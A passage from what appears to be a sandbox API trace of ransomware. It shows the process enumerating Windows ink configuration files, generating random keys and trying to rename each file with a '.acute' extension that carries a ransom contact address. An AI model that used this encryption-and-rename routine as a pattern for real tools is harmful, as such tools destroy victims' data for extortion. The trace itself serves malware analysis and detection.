(in: hFile=0x1b0, lpFileSize=0x355f728 | out: lpFileSize=0x355f728*=1600388) returned 1 [0050.123] CloseHandle (hObject=0x1b0) returned 1 [0050.123] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi")) returned 0x20 [0050.123] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0050.123] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi")) returned 0 [0050.123] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x355f790 | out: pbBuffer=0x355f790) returned 1 [0050.123] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0050.124] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x355f728 | out: lpFileSize=0x355f728*=1434) returned 1 [0050.124] CloseHandle (hObject=0x1b0) returned 1 [0050.124] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml")) returned 0x20 [0050.124] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0050.124] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0050.124] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x355f790 | out: pbBuffer=0x355f790) returned 1 [0050.124] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0050.125] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x355f728 | out: lpFileSize=0x355f728*=212) returned 1 [0050.125] CloseHandle (hObject=0x1b0) returned 1 [0050.125] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml")) returned 0x20 [0050.125] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0050.125] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0050.126] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x355f790 | out: pbBuffer=0x355f790) returned 1 [0050.126] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0050.126] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x355f728 | out: lpFileSize=0x355f728*=384) returned 1 [0050.126] CloseHandle (hObject=0x1b0) returned 1 [0050.126] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml")) returned 0x20 [0050.126] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0050.126] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0050.126] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x355f790 | out: pbBuffer=0x355f790) returned 1 [0050.126] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0050.127] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x355f728 | out: lpFileSize=0x355f728*=1118) returned 1 [0050.127] CloseHandle (hObject=0x1b0) returned 1 [0050.127] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml")) returned 0x20 [0050.127] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0050.127] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0050.127] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x355f790 | out: pbBuffer=0x355f790) returned 1 [0050.127] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0050.128] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x355f728 | out: lpFileSize=0x355f728*=392) returned 1 [0050.128] CloseHandle (hObject=0x1b0) returned 1 [0050.128] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml")) returned 0x20 [0050.128] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0050.128] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0050.128] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x355f790 | out: pbBuffer=0x355f790) returned 1 [0050.128] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0050.129] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x355f728 | out: lpFileSize=0x355f728*=727) returned 1 [0050.129] CloseHandle (hObject=0x1b0) returned 1 [0050.129] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml")) returned 0x20 [0050.129] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0050.129] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0050.129] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x355f790 | out: pbBuffer=0x355f790) returned 1 [0050.129] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0050.131] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x355f728 | out: lpFileSize=0x355f728*=3150) returned 1 [0050.131] CloseHandle (hObject=0x1ac) returned 1 [0050.131] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml")) returned 0x20 [0050.131] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0050.131] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0050.131] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x355f790 | out: pbBuffer=0x355f790) returned 1 [0050.131] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\basealtgr_rtl.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0050.131] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x355f728 | out: lpFileSize=0x355f728*=247) returned 1 [0050.131] CloseHandle (hObject=0x1ac) returned 1 [0050.131] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\basealtgr_rtl.xml")) returned 0x20 [0050.132] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\basealtgr_rtl.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0050.132] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\basealtgr_rtl.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0050.132] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x355f790 | out: pbBuffer=0x355f790) returned 1 [0050.132] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0050.691] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x355f728 | out: lpFileSize=0x355f728*=3161) returned 1 [0050.691] CloseHandle (hObject=0x170) returned 1 [0050.691] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml")) returned 0x20 [0050.691] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0050.691] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0050.691] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x355f790 | out: pbBuffer=0x355f790) returned 1 [0050.691] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0050.691] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x355f728 | out: lpFileSize=0x355f728*=617) returned 1 [0050.691] CloseHandle (hObject=0x170) returned 1 [0050.691] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml")) returned 0x20 [0050.691] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0050.692] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0050.692] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x355f790 | out: pbBuffer=0x355f790) returned 1 [0050.692] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0050.693] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x355f728 | out: lpFileSize=0x355f728*=16616) returned 1 [0050.693] CloseHandle (hObject=0x170) returned 1 [0050.693] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml")) returned 0x20 [0050.693] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0050.693] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0050.693] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x355f790 | out: pbBuffer=0x355f790) returned 1 [0050.693] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0050.693] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x355f728 | out: lpFileSize=0x355f728*=15097) returned 1 [0050.693] CloseHandle (hObject=0x170) returned 1 [0050.693] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml")) returned 0x20 [0050.693] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0050.693] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0050.694] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x355f790 | out: pbBuffer=0x355f790) returned 1 [0050.694] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0050.694] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x355f728 | out: lpFileSize=0x355f728*=9803) returned 1 [0050.694] CloseHandle (hObject=0x170) returned 1 [0050.694] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml")) returned 0x20 [0050.694] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0050.695] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0050.695] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x355f790 | out: pbBuffer=0x355f790) returned 1 [0050.695] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0050.695] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x355f728 | out: lpFileSize=0x355f728*=11067) returned 1 [0050.695] CloseHandle (hObject=0x170) returned 1 [0050.695] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml")) returned 0x20 [0050.695] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0050.695] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0050.696] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x355f790 | out: pbBuffer=0x355f790) returned 1 [0050.696] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0050.696] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x355f728 | out: lpFileSize=0x355f728*=10947) returned 1 [0050.696] CloseHandle (hObject=0x170) returned 1 [0050.696] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml")) returned 0x20 [0050.697] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0050.697] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0050.697] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x355f790 | out: pbBuffer=0x355f790) returned 1 [0050.697] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main.xml"), 